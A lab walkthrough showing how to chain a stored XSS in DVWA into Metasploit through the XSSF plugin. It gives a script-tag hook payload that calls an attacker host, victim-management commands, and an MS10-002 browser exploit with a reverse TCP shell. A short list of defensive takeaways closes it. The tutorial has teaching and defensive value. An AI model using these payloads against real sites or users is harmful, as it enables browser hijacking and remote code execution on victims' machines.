Exploiting XSS with Metasploit

XSSF (Cross-Site Scripting Framework), created by Ludovic Courgnaud, hooks victims of a generic XSS into Metasploit so you can manage them and launch follow-up attacks — including pivoting from a browser bug to a full system shell. In this walkthrough we hook a victim through a stored XSS in DVWA and drive the whole attack from msfconsole.

Lab setup

The targets are DVWA (Damn Vulnerable Web Application) on a Windows VM as the victim browser, and Kali/Backtrack running Metasploit as the attacker.

1. Install and load XSSF

Drop XSSF into your Metasploit tree and load the plugin from the console:

# Install XSSF into Metasploit
cd /opt/metasploit/msf3
unzip XSSF.zip
cp -r XSSF/data/ XSSF/lib/ XSSF/modules/ XSSF/plugins/ ./

# Start Metasploit and load the plugin
msfconsole
load XSSF

2. Plant the hook via stored XSS

In DVWA (security level "Low"), open the Stored XSS tab and submit a comment containing a script tag that pulls the XSSF hook from your attacker box:

<script src="http://IP_ATTACKER:8888/loop?interval=5"></script>

Because the payload is stored, every visitor who opens that page will be hooked automatically.

3. List and inspect victims

Browse to the page from the victim VM, then back in Metasploit list who is hooked:

msf > xssf_victims
msf > xssf_information <victimID>

4. Interact with a victim

The simplest action is to pop an alert in the victim's browser:

use auxiliary/xssf/public/misc/alert
set VictimIDs 2
set AlertMessage "Game Over"
run

5. Escalate from browser to shell

The interesting part: chain a browser exploit behind the hook to get code execution. Here we serve the classic MS10-002 "Aurora" exploit:

use exploit/windows/browser/ms10_002_aurora
set SRVPORT 80
set URIPATH dvwa/vulnerabilities/xss_s/
set PAYLOAD windows/shell/reverse_tcp
set LHOST IP_ATTACKER
exploit -j

Note the job ID, then tell XSSF to redirect the hooked victim into that exploit:

jobs
xssf_active_victims
xssf_exploit <victimID> <jobID>

If the victim's browser is vulnerable, you land a session — a full jump from a stored XSS to remote code execution.

Defensive takeaways

• Stop the XSS at the source: context-aware output encoding, a strict Content-Security-Policy, and framework auto-escaping neutralise the hook before it ever loads.
• HttpOnly cookies and modern browsers with up-to-date patches blunt the follow-on attacks.
• Chaining XSS to RCE shows why even a "low severity" reflected/stored XSS deserves to be fixed — it is a foothold, not just a popup.